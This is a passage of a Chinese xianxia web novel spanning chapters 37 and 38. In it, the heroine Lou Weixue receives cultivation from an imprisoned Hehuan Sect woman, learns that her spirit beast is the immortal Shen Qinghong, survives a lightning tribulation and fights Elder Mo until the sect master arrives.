“也?对,只能先和她聊聊看了。” 娄危雪翻烤着,兔子身上?的油脂被烤落,滴在火堆中噼啪作响,没多久便传来阵阵香味。 她把?兔子取下?,然后将处理好的烤鱼放到烤架上?。 时隔许久,沈清鸿再次吃到娄危雪做的东西,味道还是和以前?一样的好。 等两人吃完,烤架上?的鱼也?就烤好了。 娄危雪把?手在河里洗净,将六六重新塞回宽大的袖袍中,带着烤好的鱼,飞了上?去。 女子依旧保持着娄危雪离开时候的姿势,靠着墙壁,闭着眼睛。 娄危雪走到女子跟前?,“阁下?,我回来了,还给你也?带了份吃的。” 女子睁眼,看到面前?被烤得金黄焦脆的鱼。 “我已经辟谷,不用吃这些?东西。” 娄危雪不以为意,就算以后能够辟谷,她也?不打算辟谷。 美?食这种东西,怎可辜负。 “辟谷了,又不是不能吃了,我手艺很好的,阁下?不如试试?” 说?不定这位阁下?吃过之后,心情一好,就?*?决定助她出结界了呢。 女子还是没动,娄危雪想到个事情,她伸手从上?面撕了一小块鱼肉下?来,放入口中。 “阁下?,没毒的,你就放心吃吧。” 女子挑了挑眉,将鱼接了过来。 在娄危雪眼巴巴地注视下?,女子张嘴吃了口。 烤鱼味道鲜美?,外皮酥脆,内里鲜嫩多汁,还带着淡淡的果香。 “怎么样,味道不错吧。” 娄危雪笑眯眯的,一副等着夸奖的表情。 这副模样,与记忆中另一个人的模样渐渐重合。 “是不错。” 上?一次吃东西,还在很久之前?,是那个人给她的。 望着面前?与那人相?似的面容,女子神情柔软,眼含深情,只是在不被人注意到的地方,划过抹幽暗带着不引人注目的偏执。 被娄危雪藏在袖中的白团子没错过这一眼,身上?的毛瞬间就炸开了,嗓中发出威胁的低吼声?。 娄危雪讶然,六六会说?话?很有灵性?,怎么会突然这样? 她忙将袖袍中的白团子放出来,抱入怀中,一下?下?地顺着毛。 “六六你怎么了?” 从娄危雪下?来的时候,女子就知道娄危雪袖子中藏了东西,不过因为她境界高,并不担心娄危雪会借着袖中东西对她不利。 现在娄危雪主动把?袖子里的东西放出来,女子便随意扫了一眼,这一眼便叫她顿住。 “你这灵兽,看着有些?眼熟。”她皱眉思索着,突然想起以前?在宗门里看到的记载,震惊,“这是白泽?” 娄危雪讶然,这女子也?知道白泽? 可当?初她是在一座普通的山上?捡到的六六,如果六六真是白泽,怎么会那么容易就让她契约了。 “阁下?你确定没看错,这真的是白泽?” “和记载中有有些?不同,看着像幼年体。”女子又看了几?眼,回忆道:“根据合欢宗曾经留下?的记载,白泽居于圣山,守天门,传说?中的天书九卷也?是白泽所?看守的。” 娄危雪听得懵懵懂懂的,怎么又是天门,又是天书九卷的。 唉,都怪她看书没看完,看到和自己同名的恶毒女派下?线后就气的没往下?看,只是匆匆翻了下?评论,这些?信息根本就不知道啊!? 她扼腕叹息,好奇的问:“天书九卷是什么东西?” 女子意味深长地看了娄危雪一眼,“传言中,天书九卷上?面记载了飞升之法,是人人都想得到的无上?功法。” 白团子的耳朵支棱起来,这个人既然能道出关于天书九卷,作为合欢宗宗主的花醉月不可能不知道,难怪她会暗害师尊。 如此一来,与花醉月有过一段风月往事的云文君也?很是可疑,可听娄危雪的意思,似乎并不知道这些?东西? 或许师尊的死真是花醉月一人所?为,想到和娄危雪如今的关系,沈清鸿第一次强烈的希望,此事与娄危雪的母亲云文书无关! 白团子纠结沉思间,女子对娄危雪抛出一个问题。 “你是在哪里遇到白泽的?” “就,普通的山上?啊。”娄危雪挠挠脑袋,“我也?没见到什么天书九卷啊。” 娄危雪戳了戳怀中的团子,根本想不到这么小的白团子,竟然会是传说?中的神兽白泽。 她把?手伸到白团子的两个前?爪下?面,将整个团子举了起来,左看看右看看。 嗯…… 娄危雪紧抿双唇,然后一言不发突然将头埋过去猛吸了一口。 不管六六是不是白泽,都是最可爱的灵兽! 不接受任何的反驳! 沈清鸿原本还在想着师傅和天书九卷的事情,没想到娄危雪竟然来了这么一下?。 愣了一下?后,沈清鸿羞愤不已,毫不犹豫向娄危雪右脸拍了一爪子过去。 这傻子!怎么连场合都不看! 娄危雪都已经习惯六六这时不时打来的爪子了,在打过来的瞬间躲了过去。 嘿嘿嘿,没打到! 不过她还没高兴太久,就被六六打了左脸。 娄危雪幽怨的看着白团子,“六六,我好歹是你的契主,你能不能给我留点面子。” 白团子冷哼一声?,摆明了态度。 边上?,女子看娄危雪和灵兽的互动,性?感的薄唇笑容扩大,忍不住笑出了声?。 “有意思,真是有意思。”!!! 娄危雪赶紧将六六揣回怀中,看见女子笑得开心,她也?开心。 “阁下?,你这么开心,是不是可以帮我出结界了!” 女子的嘴角高高翘起,厚薄适中的红唇漾着令人目眩的笑容。 “看在你这么有趣的份上?,我可以帮你,但是我还有个要求。” “什么要求?” 有要求比没要求让娄危雪心安,毕竟天下?没有白吃的晚餐。 “帮我联系你师姐,让她救我出去。” 嗯?好像有点不对。 原本已经做好答应准备的娄危雪,满头问号。 “等等,师姐?” “你如果想要出去,就要拜我为师,我把?我的功法传给你,只有这样,你才可以打开上?空结界。” 女子好整以暇欣赏着娄危雪脸上?的表情变化?,嘴角缓缓拉开一个戏谑的弧度。 一个人竟然有这般丰富的表情,也?不知道那个人做起来会是什么样子,是不是也?如眼前?这个不知身份的少?女般。 “至于你的师姐,就是花厌,她带你来了圣山,想必你们之间很熟悉,我就不多和你说?了。” 娄危雪皱起个小脸,她可不想和花厌做什么师姐妹,也?不想学什么合欢宗的功法。 “阁下?,除了这个就没别的办法了吗?” “没有。” 女子薄唇蓄着一抹肆意,深眸邪魅诡异。 娄危雪紧蹙的眉毛拧成了死结,思考着不答应的可能性?。 见娄危雪久久未答,女子也?不着急,她道:“你不用立刻回答我,我可以等你想好。” 听此,娄危雪松了口气。 “我知道了,我会好好考虑的。” 现在有了时间,看来还是得仔细找找,说?不定还有别的方法可以出去呢? 女子不用看就能猜到娄危雪在想什么,她只是笑笑,有些?人是不撞南墙不回头,她有的是时间等。 第37章 晚上,娄危雪把白团子?抱在怀中,缩在角落里休息。 突然?一阵地动山摇,伴随着阵阵咆哮之声响起。 娄危雪瞬间睁开眼睛,还没?来得及查看发生什么,就?见一团黑影从平台边快速闪过,紧接着是重物落地的巨大响声。 “嗯???” 娄危雪一脸懵,刚刚好像有什么东西唰的一下就?掉下去了! 白团子?被惊醒,仰着脑袋与娄危雪目光一致。 倒是边上的那个奇怪女子?闭着双眼,一副不?为外物所?动的样子?。 犹豫一瞬,娄危雪决定过去看一下。 说不?定是新的机遇呢。 她抱着白团子?御剑下行,还没?到崖底便见到一具小山般的身影。 刚刚摔下来的是一头凶兽,它的背上有一对黑色的翅膀,羽翼内翻,上面羽毛这里秃一块,那里缺一块的,破烂不?堪地挂在背上,失去了本来的作用。 此?外它身体上伤痕遍布,爪尖外翻,不?少已经脱落,上面血迹斑斑,看起来像是和什么东西打了一架。 地面因为它的冲击凹陷下落,露出?一个巨大的坑,娄危雪从剑上下来,站在旁边的地上,警惕地观察着。 凶兽已经身受重伤,从上面摔下来之后已是进气多出?气少,察觉到娄危雪的存在,呲着牙低吼着威胁娄危雪,可是它伤势太重,血水不?断地从嘴里落下,吼声破碎,喘息不?止。 它挣扎着想要站起来,不?过只支撑起来一点又轰然?倒下,尘烟四起,隐隐约约遮挡住凶兽的身影,吼叫声逐渐减弱,凶兽身体的起伏渐渐平息,彻底不?动。 娄危雪怔愣一瞬,小心翼翼地靠近,凶兽没?有半分反应。 “它……好像死了?” “嗯,死了。” 白团子?静静注视着,凶兽世界弱肉强食,若不?能变得强大等待着的只有死亡。 娄危雪双手抱臂,看着面前巨大的凶兽若有所?思。 她之前在书里看过,凶兽的内丹可以?被吸收,帮助修炼,许多人在外甚至开出?天价来收凶兽内丹。 那这么说,岂不?是…… 娄危雪眼冒精光,双手合十?。 “兽兄,对不?起了!” 在凶兽面前默哀三秒,眼泪不?争气地从嘴角流下来。 不?管这个凶兽是什么修为的,肯定比她要高,毕竟她看不?透。 娄危雪抽出?佩剑,在手中比画着,这种兽类的内丹一般在什么地方啊。 由于无法确定位置,她迟迟没?有动手。 白团子?见她举着剑在这里比画了半天,有些无奈。 伸出?爪子?指指凶兽身上的一处地方,“内丹在这里。” 娄危雪闻言,举剑朝着白团子?说的那里,挥了过去。 凶兽皮肉绽开一道口子?,只是伤口并不?深,对于这种巨兽来说不?过是皮肉小伤。 “嗯……” 娄危雪沉默,这凶兽比她想象中的要难搞。 她重新挥了一剑,依旧没?有留下什么伤痕。 周遭寂静,除了沉默,还是沉默。 白团子?扶额,她对娄危雪的期许还是太高了。 看到白团子?眼中的嫌弃,娄危雪嘴硬解释:“那什么,真不?怪我,这毕竟是凶兽,皮肉坚硬,我砍不?动很正常。” 白团子?没?有理会,从娄危雪怀中跳下来,抬起粉嫩嫩的小爪子?,爪风汇聚成灵力风刃,打在凶兽的身上,留下深刻伤痕。 娄危雪睁大眼睛,看着小小的白团子?,又看了眼巨大的凶兽。 该说不?愧是白泽吗,这实力简直没?得说。 看来平常六六对她还是手下留情?了。 眨眼间,凶兽的皮肉就?被破开,露出?的内丹足有拳头大小。 “去拿吧,这是元婴境的内丹。” 白团子?神?情?恹恹,她受伤颇重,只不?过这几下的功夫,就?已经有些累了。 娄危雪看在眼里,有些不?是滋味。 她揉揉白团子?的脑袋,嗓音温柔,“六六你真是太厉害了!你等着,我这就?去拿。” 话?音落下,娄危雪就?已经来到凶兽上方,将内丹取出?擦净。 “给,六六。” 白团子?看着面前的内丹,微微怔愣。 她提醒,“这是元婴境的内丹,对你的修为提升很有帮助,用了它你说不?定可以?突破到金丹。” “我知道啊。” 娄危雪表情?无辜,她当然?知道,不?然?干什么要取内丹。 “那你怎么……” 白团子?的话?被打断,“凶兽的身体是六六你破开的,而且你受伤比较严重,这内丹可以?帮助你恢复身体。” 看着面前眼神干净澄澈的少女,白团子?眼神?复杂。 “好了,快吃吧。” 此?地凶险,得快些恢复实力,沈清鸿索性没?有和娄危雪推脱。 她嗷呜一口将内丹吞下,一股热意沿着喉咙往下,身体也跟着暖了起来。 白团子?坐在原地,闭上眼睛炼化吸收着身体内吞下的内丹。 这一吸收就?是一个时辰,娄危雪始终守在白团子?身边。 在看到白团子?睁眼的第一时间,立刻凑了过去。 “感觉怎么样?” “好些了。” 白团子?眼神?柔和,虽然?元婴境的内丹对她作用不?大,但是蚊子?再小也是肉,她的伤势在内丹的帮助下恢复了一些。 原本作痛的胸口已经没?有那么痛了,经脉中的灵力平稳许多。 “有用就?好。” 娄危雪眉开眼笑,那模样简直比她自己用了内丹都高兴。 “我们回去吧。” 一人一兽重新回到平台上,女子?听到她们回来,抬眼扫了她们一眼,最?后把目光落在白团子?身上,意味深长,但她什么都没?说。 之后的几日?,娄危雪除了时不?时地陪女子?说话?外,就?是在外面寻找沈清鸿以?及其他能够出?去的办法。 白团子?知道娄危雪不?可能找到人,不?想见娄危雪拖着还没?痊愈的身体这般辛苦。 她劝说:“如果那个人看到你留下的印记一定会来找你的,她一直没?来,你又找不?到,说不?定人根本就?在这里。” 娄危雪皱眉,她明明在昏迷之前看到沈清鸿跳下来了。 难道说当时救了她之后,沈清鸿因为什么别的原因没?能落到渊底? 这么想,倒也不?是不?可能。 已经过去几天了,也不?知道李寄春和玲溪两人怎么样了。 不?行,不?能再这么耽搁下去了。 拜师就?拜师吧,她总不?能一直困在这个破结界中。 娄危雪来到女子?面前,神?情?严肃,“我想好了。” “哦?” 女子?抬眼,好整以?暇等待着娄危雪剩下的话?。 娄危雪握紧拳头又松开,满眼坚定。 “我答应阁下的要求,请阁下帮我出?结界。” “哈哈哈哈哈,好好好。” 女子?大笑,唇角高高翘起。 白团子?听到后立刻从娄危雪怀中钻出?脑袋,“我不?同意。” 她这样子?,真是既凶又可爱,娄危雪忍不?住伸手,撸了把白团子?的脑袋。 “别闹。” 白团子?将脑袋挪走,一本正经。 “不?要答应。” “六六,”娄危雪无奈,“我需要出?去,而这是我目前能出?去的唯一办法。” 白团子?依旧不?放心,这人来历成谜,不?是个简单的人物。 “你怎么能保证她不?是在骗你?” 女子?在旁边似笑非笑地看戏,听到这句才悠悠开口。 “以?我的实力,如果想要对你们做些什么早就?已经动手了,何必拐弯抹角的。” “好了六六,你看我这样,能有什么可图的。” 六六张口还想说些什么,被娄危雪及时打断。 “为了出?去,我必须这么做,除非六六你还有别的办法能让我出?去。” 只这一句,就?把白团子?剩下所?有要说的话?堵在嗓子?中。 如果她有别的办法,早就?和娄危雪说了,怎么会等到现?在。 女子?挑眉,看着气呼呼被堵得说不?上来话?的白团子?,适时开口。 她笑眯眯的,语气轻松,“小家伙,不?要这么紧张嘛,我还指望着她去给花厌带话?,一起来救我出?去,不?会对她做什么的。” 娄危雪跟着道:“六六,你不?必劝我,我意已决。” 白团子?拿娄危雪没?有办法,只能任由娄危雪和女子?交涉。 “我答应阁下的要求,希望阁下的办法真的可以?帮助我出?结界。” “放心,绝对让你出?结界。” 女子?意味深长地看了娄危雪一眼,她拍拍面前的地方,示意娄危雪坐下。 “我会先把我的功力修为渡给你,然?后将独门心法教给你。” “好。” 娄危雪在女子?面前坐下,白团子?紧紧盯着女子?,放出?浓厚的威压,女子?只是轻描淡写地看了一眼,不?以?为意。 她抬起手,掌心与娄危雪掌心相对,运转内丹,调动起体内灵力修为。 汩汩修为顺着两人相接的手掌,传入娄危雪的体内。 娄危雪双眼紧闭,额头上没?多久就?出?了一层薄汗,她的眉毛紧紧皱在一起,可见很不?好受。 来自女子?的灵力冲击洗刷着她体内的经脉,拓展着她的内丹。 直到两个时辰,女子?才收回手。 娄危雪双眼依旧紧紧闭着,正消化着体内渡来的修为。 身体内的经脉被拓宽,灵力修为朝着内丹运转,带着莫名的热意。 原本平静的经脉灵流躁动不?止,如沸腾的岩浆,让人无法平静。 她的面色逐渐泛起一抹不?正常的绯色,唇色嫣红欲滴,如果此?刻与她肌肤接触,就?能感受到手底的灼人热意。 “啊!” 娄危雪痛苦不?已,她猛地睁开眼睛,原本漆黑通透的双眸,隐隐泛着诡异的红光。 这是入魔的前兆! 白团子?发现?不?对劲,立刻逼至女子?面前,浑身的毛都炸了起来。 “你对她做了什么!” 女子?摇头,实话?实说:“什么都没?做,只是传了修为。” 白团子?并不?相信,满眼警惕,“只是传修为怎么可能会这样?” 女子?沉思一会,“我是合欢宗的人,传给她的修为是用合欢宗的心法修炼的,她或许是因此?受到了影响。” 白团子?焦躁不?已,她早该想到的,就?不?应该让这个女子?把修为传给娄危雪。 现?在该怎么办? 她在脑海中快速地搜寻对策,这要是彻底入魔可就?完了! 娄危雪额角青筋毕露,体内的灵力不?受控制,在经脉中横冲直撞,痛苦的叫声在平台上回荡。 这时女子?突然?开口,“我有方法可以?救她,但是需要你配合。” 闻言白团子?急忙追问:“什么办法?” “根据记载,白泽神?兽可以?化形,你可以?化成人形,与她双修帮助她引导消化体内的灵力。” 眼下情?况危急,根本容不?得白团子?多想。 只见下一秒,一个身着白衣面容清冷的女子?出?现?在平台上。 如果娄危雪意识清醒,就?会发现?这就?是她心心念念找了好几天的清鸿仙尊。 沈清鸿一把抓住娄危雪的手腕,手底肌肤烫得惊人。 平台空间很大,她将娄危雪拖至暗处,又布置下结界。 她附身去查看娄危雪的情?况,只是刚刚将人扶住,还未来得及查看,手便被人按住。 娄危雪神?志不?清,迷迷糊糊只觉眼前的人儿散发着无尽的诱惑。 体内的合欢散被勾起,她一把抓住沈清鸿将人揽入怀中,手指不?受控制地钻入对方的衣服中。 冰凉凉,想要更?多。 身前的人越逼越近,将沈清鸿压在墙上。 沈清鸿衣服领口大开,白袍从她肩头滑落,温热的肌肤与冰冷平整的石壁相接触,让沈清鸿不?自在地向后缩了缩,却与娄危雪贴的更?加紧密。 身后的人越来越过分,在沈清鸿身上点燃处处火花,受娄危雪影响,沈清鸿体内合欢散作祟,灼烧着她的神?经,也给她带来阵阵战栗。 她羞恼不?已,但还没?有忘记正事?。 艰难地把身体转过来,沈清鸿伸出?一截藕臂,攀附上娄危雪的脖颈,主动送上自己的唇,帮助娄危雪引导消化女子?渡过去的修为。 娄危雪的手臂收得更?紧了,汲取着沈清鸿带来的凉意。 阵阵破碎的声音响起,被挡在结界之内。 直到天亮,娄危雪眼中的红光才消退,恢复正常。 她一低头就?看到怀中昏睡过去的沈清鸿,只是不?及她细想,头顶突然?传来阵阵雷鸣之声。 经过一晚上的消化,她已经到了突破的边缘。 雷劫要来了。 怕雷劫伤到沈清鸿,娄危雪捡起衣服披上后,走出?结界快速地朝崖底飞去。 传授娄危雪功力的女子?,看着那匆忙离去的背影,嘴角露出?一抹得逞的微笑。 娄危雪才刚落到崖底,第一道雷劫降下,不?过并没?有劈到她的身上,反而被头顶的结界挡了一下。 结界又怎么抵得过天道降下的雷劫,围困娄危雪许久的结界就?这么碎了。 许是因为第一道雷劫被挡下,第二道雷劫较第一道比起来粗了几分,但这石破天惊的气势,劈在娄危雪的身上。 衣服在雷劫下化为齑粉,白皙的肌肤被打得焦黑一片,发簪碎落,乌黑的长发在雷劫中飘扬而起。 轰隆一声,又是一道雷劫落下,娄危雪脖颈青筋暴起,忍受着难言的痛楚,方才在上面的那点疼痛,与这个相比已经算不?了什么了。 电流在四肢百骸中流窜,每一丝筋脉都在叫嚣着痛苦。 可不?知为何,明明是紧要关头,沈清鸿的面容却不?受控制地浮现?在娄危雪的脑海。 她想起拉着她躲避追击的人,想起为她挡住凶兽攻击的人,想起那一次又一次在危险来临时挡在她面前的身影。 她要变强,她也想保护沈清鸿。 娄危雪咬紧牙关,运转全身的灵力抵抗着雷劫, 忍一忍,只要扛过去就?好了。 她可以?做到! 不?知过了多久,上空的乌云逐渐消散,雷声停止,雷劫结束。 娄危雪再次睁眼的时候,已经到了金丹初期,身上被雷劫打出?的伤口也已经痊愈,只是仍然?残留些痛楚。 顾不?得体会金丹期带来的变化,她从随身空间取出?衣服,穿上后迅速御剑飞回平台。 平台上的锁链已经断了,被绑着的那个女子?不?知道去了哪里。 沈清鸿因为之前的雷劫,已经醒过来,披着衣服靠在墙壁上,白团子?不?见踪影。 娄危雪的心怦怦作响,她逐渐朝沈清鸿靠近,之前关于白团子?的猜测不?受控制地冒出?。 怎么会有这么巧的事?情?? 每次沈清鸿出?现?的时候,白团子?都不?在,还有均湘这把剑,当时就?掉在白团子?不?远处。 “六六?” 娄危雪试探地叫着,沈清鸿面上出?现?一抹身份被识破的尴尬。 她试图狡辩,可是刚张开嘴,身体就?不?受控制地重新变回灵兽。 之前消化了凶兽的内丹,身体恢复了一点,不?过也只能勉强维持一段时间的人形。 只是没?想到这段时间这么短,她没?来得及准备,就?在娄危雪面前彻底暴露。 “你真的是六六!” 娄危雪声音难掩激动,眼中充满不?可思议的色彩。 沈清鸿又羞恼又尴尬,只想一走了之。 既然?身份已经暴露,那就?没?有了隐藏的必要。 她招回均湘剑,准备离开这里。 娄危雪看穿她的想法,赶在沈清鸿踩在剑上之前走过去,一把捞起小小只的白团子?,紧紧抱在怀中。 “放开我!” 白团子?咆哮挣扎,想要从娄危雪手中逃走,但又怕伤到娄危雪。 “别走!”娄危雪将头在白团子?脑袋边蹭了蹭,“我找了你好久。” 少女嗓音温柔,带着缱绻情?意,娓娓叙说着。 “你不?知道,找不?到你的这些天我有多么害怕,怕你被我牵累身受重伤,再也见不?到你。” “我也很后悔,后悔没?有把我的心意及时告诉你。” 原本挣扎不?休的白团子?不?知道什么时候渐渐停下,看着少女。 “沈清鸿,之前是我错了,我以?后不?会再逃避了,所?以?我们不?要退婚了,好吗?” 少女神?色认真,漆黑的眼中闪烁着细碎的星光,盛满深情?。 她在等着沈清鸿的回答。 那眼神?太过炙热让人难以?招架,沈清鸿一向平静无波的心快速地跳了起来,似乎有什么事?情?脱离了她的控制。 她开口想要回答,胸口却传来一阵痛楚,忍不?住闷哼一声。 “你怎么了?” 察觉到沈清鸿的异常,娄危雪脸色瞬间就?变了。 疼痛只是一瞬间的事?情?,快得仿佛像是种错觉,沈清鸿快速感受了一**内的情?况,没?发现?什么异常。 白团子?用爪子?拍了拍娄危雪,“我没?事?。” 可娄危雪还是不?放心,上上下下检查了好几遍,没?在沈清鸿身上发现?除之前以?外的伤口,这才勉强放下心。 这个时候娄危雪才顾得上考虑,消失的女子?。 她问:“清鸿仙尊,你有没?有看到绑在这里的人去哪了?” “她已经走了。” “走了?” 沈清鸿点头,她是听到雷劫声醒来的,刚睁眼就?见那女子?把室内的锁链弄断,还给了她一个腰牌叫她转交给娄危雪。 “这是她留给你的,说如果你遇到什么麻烦,可以?拿着这个去找花厌,花厌看到会帮你。” 娄危雪微微一愣,然?后把腰牌接了过来。 腰牌不?知道是什么材质做成的,是一种暗红色,上面什么只有一个花字,背面刻着一株繁茂的合欢树。 说起来娄危雪也算是遇到不?少合欢宗的人了,从最?开始遇到的虞欢,到云霄门遇到的花厌,这些人的腰牌她都看过。 因为阶级不?一样,腰牌便也不?一样,似乎是地位越高,背后刻制的合欢花便越多,到女子?这竟然?直接变成了树。 把腰牌收入怀中,娄危雪喃喃自语。 “这人究竟是什么来头?” 沈清鸿摇头,“我看不?透她的境界,这里的结界应该就?是为了关押她而设立的。” 娄危雪有些想不?明白,“她为什么要传我修为收我为徒?” 沈清鸿推测,“之前她之所?以?那么说,恐怕就?是为了降低你的防备心。” “那人必然?是看出?了你结丹后期的境界,想要助你突破,借用天道降下的雷劫,破了此?地结界。” 娄危雪顿时恍然?大悟,真不?愧是合欢宗关着的老狐狸,原来从一开始她就?在利用自己。 只是不?知道那女子?说是花厌的师傅这件事?,是不?是真的。 还有这个腰牌,是否真的能让花厌帮她。 不?过虽然?那女子?离开了,但结界被破,她们也能出?去了。 恰在此?时沈清鸿提议,“此?地不?宜久留,我们先离开吧。” “嗯!” 娄危雪高兴地应下,心里美滋滋的。 她才刚刚想离开,沈清鸿就?提了出?来,或许这就?是心有灵犀吧! 这么看来她和清鸿仙尊还真是天造地设的一对。 抱紧白团子?,娄危雪御剑上行,这次再也没?有东西阻挡。 阔别多天,娄危雪终于重新站在了上方的土地上。 第38章 娄危雪正站在崖边,前方入目是一片葱翠,身后是陡峭绝壁。 而在她旁边,一条深深的裂缝嵌入地面之中?,从?上朝下?看,根本望不到底,如一张漆黑大?口?可以吞吃掉入的所有生灵。 当初她就是从?这样的高度上摔下?去的,如果不是沈清鸿…… 想到那决然跳下?的身影,娄危雪看了怀中?的白团子一眼,白团子被她抱着只能看到一个毛茸茸的小脑袋,爪子搭在她的胳膊上,揣在一起。 心底顿时软得一塌糊涂,她忍不住低头在白团子的头顶亲了一口?。 白团子被突然的“袭击”弄得措手不及,抬头见到娄危雪张扬的笑?容,羞恼地伸爪给了娄危雪一爪子。 “放肆!” 之前娄危雪不知道她的真实身份也就算了,怎么?现在知道了还依旧地肆无?忌惮! 不像话! 她仰头瞪着娄危雪,只不过沈清鸿忘记现在她是灵兽的形态,这个动作让她看起来更加无?害,没有任何的威慑力?。 “是是是,我放肆了。” 娄危雪眼底泛着淡淡笑?意,那语气?像是在哄小孩子。 沈清鸿气?鼓鼓的可她拿娄危雪没有一点的办法,她冷哼一声,扒拉着爪子挤出?娄危雪怀抱,跳下?落地。 “噗。” 那模样实在是太过可爱,娄危雪没忍住笑?出?了声,当即就遭到白团子的一记眼刀,她连忙捂住嘴,生怕给人…… 哦不,现在是兽了。 生怕给兽惹生气?了。 她连忙转移话题,“先?前我历劫有很大?的异动,我们还是先?离开这里吧,免得被合欢宗的人找上来。” 白团子没有回答,不过已经迈开爪子在前面走起来了。 娄危雪微微一笑?,跟了上去。 为了防止与合欢宗的人遇上,两人一路走得很小心,一边探查,一边前行?,绕开了不少东西,避免了许多战斗。 不过好景不长,在走过一处山坡时,坡后突然冒出?了一行?人。 莫长老和一众合欢宗的弟子出?现在娄危雪面前。 她的境界没有莫长老高,以至于根本就没发现她们。 见到娄危雪,莫长老惊讶不已。 “你?竟然没死,还升了境界。” 她啧啧称奇,这还是有史以来,第一个从?禁地中?活着走出?来的人。 娄危雪根本没有理会莫长老,带着白团子就想跑,莫长老见状抬手丢出?了个什么?东西,下?一瞬金光升起将此处天地笼罩起来,她们被困在了这方结界当中?。 “该死。” 娄危雪低咒一句,这合欢宗的人是怎么?回事,怎么?动不动就放结界出?来。 “上次让你?给逃了,这次我可不会再犯上次的错误。”莫长老好整以暇地站在原地,一双眼睛如冰球,射出?冷冷的光,“除非我死,否则你?不可能从?这里出?去。” 娄危雪不动声色地打量着面前的人,思考着应对的办法。 上次沈清鸿为了从?这个人手中?逃开,付出?了不小的代价,更何况现在沈清鸿的伤还没痊愈,连人形都维持不住。 她蜷起手指,浑身紧绷,眼睛死死定在莫长老的身上,防备着她的一举一动。 见娄危雪如此紧张,莫长老勾起唇角,眼神轻蔑。 在她面前娄危雪的实在是不够看,如果是那个人,她倒是可以趁机热一热手,不过她并没有在这里看到那个人。 当初两人明明是一起逃走的,没道理眼前这个没出?事,那个功力?高的人出?事。 莫长老抱臂,朝娄危雪扬扬下?巴。 “之前带你?逃跑的那个小娃娃呢?” 娄危雪悄悄往白团子身前站了一步,默不作声,没有回答莫长老的话。 “罢了,和你?在这费什么?口?舌,等我把你?抓回去,有的是办法叫你?开口?。” 话音刚落,莫长老眼神陡然转变,凌厉的目光如一道钩子,她抽出?腰上长鞭,朝着娄危雪打去。 白团子浑身的毛瞬间炸开,跳到娄危雪身前,爪风扫出?,如蛇般蜿蜒抖动的长鞭被打回。 莫长老早就看到白团子,只不过因为团子太小又受了伤,便没?*?把这灵兽当回事。 没想到,这不起眼的小东西,竟然能接下?她的长鞭。 她来了兴致,盯着白团子打量半晌,眼睛陡然一亮。 “想不到这灵兽竟然有如此的修为,不错不错,我正好还缺个为我护法的灵兽,等我把它抓来,它就是我的了!” 娄危雪眼神瞬间冷了下?去,将白团子挡在身后。 “你?休想!” “呵,”莫长老讥讽一笑,“就凭你?,还想阻止我?” 她再次举起长鞭,浑厚的灵气?缠绕上长鞭,一鞭挥下?,如闪电霹雳着向娄危雪和团子袭去。 在她身后的那些合欢宗弟子纷纷拿起武器,同时袭击过去。 白团子当先迎上长鞭,与莫长老对上。 娄危雪沉下?脸,手中?的长剑舞出?一张密不透风的大?网,将合欢宗弟子们的攻击全部拦在外?面,没叫那攻击影响沈清鸿分毫。 两方人缠斗在一起,沈清鸿谨慎应对着莫长老的攻击。 可是她实在是有心无?力?,修为不及往日三分之一,使出?的招式对莫长老来说只是麻烦了一些?,但?是并没有到危急的地步。 娄危雪同样应对得辛苦,这里是合欢宗的圣山,能够来到这里的合欢宗弟子修为本就不会低。 她虽然提升了境界,可是在这些?人的面前根本就不够看。 艰难地应对着,她尽量避免正面和合欢宗的弟子对上。 时不时的出?上几招,扰乱对方的进攻节奏。 不过随着时间的流逝,两人的状态逐渐下?跌,沈清鸿身上刚刚愈合的伤口?裂开,又添了不少被鞭风扫到的新伤,原本雪白的毛发被血水染红。 娄危雪尽管在努力?躲避,可是在那么?多人的攻击下?,总有几招是她躲避不及的。 冷汗从?娄危雪的额头中?渗出?,她擦擦唇边溢出?的鲜血,目光如灼。 不行?,她要防住这些?合欢宗的人。 清鸿仙尊和莫长老打起来已经够辛苦的了,她不能让她们影响沈清鸿。 娄危雪喘着粗气?,拦下?又一记对着沈清鸿释放的攻击。 莫长老和白团子战斗,还能分神出?来观察娄危雪这边的情况。 “快坚持不住了吧,不如你?把这灵兽给我,我说不定可以放你?一马。” “休想!” 娄危雪眼神凶狠,声音斩钉截铁。 “敬酒不吃吃罚酒!”莫长老冷哼一声,黝黑的眸子如寒冰般发出?阴冷的光芒,“那我就只能自己来取了。” 莫长老陡然放弃白团子,转而过来袭击娄危雪。 鞭影重?重?,如一只只闪烁着眼睛的毒蛇,想要咬住娄危雪,将人拖入深渊绞杀致死。 所有的攻击全部朝着娄危雪袭去,让人根本招架不住。 白团子见状立刻飞向娄危雪身边,试图拦住莫长老的攻击。 爪风击出?,可只不过打碎几道鞭影,还有更多的鞭影袭来。 眼看着那鞭子就要落在沈清鸿身上,娄危雪咬牙将灵力?灌注入佩剑中?,一剑横扫破了周围的攻击,在鞭子落下?前挡在了沈清鸿的面前。 噗—— 娄危雪吐出?一口?鲜血,膝盖承受不住巨大?的冲击弯曲,向着地下?倒去。 “娄危雪!” 白团子焦急不已,她想要变回人形接住倒地的人,可是胸口?一痛,刚刚汇聚的灵力?瞬间破碎,只能眼睁睁地看着那人在她面前倒下?。 在双膝快要触碰到地面的时候,娄危雪抬手用剑撑住了身体,勉强支撑着重?新站好。 她垂下?眼,朝白团子摇摇头,露出?一个安抚的笑?容。 “我没事。” 说话的时候有血从?她的唇边滴落,她面色苍白毫无?血色,衣服上到处都是血,哪里像是没事的样子。 而边上莫长老,对娄危雪的惨状视若无?睹。 她的目光落在白团子的身上,炙热无?比。 “竟然还是只会说话的灵兽,妙啊,太妙了!” 说着,她抬手要去抓被娄危雪护着的白团子。 娄危雪摇晃着身体,将剑拔出?挡住莫长老的视线。 她一句话没说,态度却坚决无?比。 “啧。”莫长老不悦地皱眉,抬手就要挥鞭,除掉眼前分外?碍事的人。 可是按照娄危雪现在的状态,很难再接下?莫长老这一鞭。 千钧一发之际,一道如冬日井水般冰冷的声音插入对战。 “住手!”那人急切呵道。 原本的合欢宗弟子听到声音,看向来人纷纷跪地。 “参见宗主。” 莫长老被打断,她放下?手,看着过来的人有些?意外?。 “宗主,你?怎么?来了?” 说话的同时,莫长老挥手将放出?去的东西召回,解了结界。 娄危雪警惕地看向来人,来人身着一色绀紫对襟绡沙新衣,底下?是同色的水纹凌波裙裾,一张雕饰精美的蝴蝶型黄金面具挡住了她的上半张脸,露出?的嘴唇弧度优美,嫣红似血。 这个人就是花醉月? 在娄危雪打量花醉月的同时,花醉月也在看她,目光温柔带着淡淡的担忧。 嗯?她看错了吧,人家一个合欢宗的宗主怎么?会这么?看她。 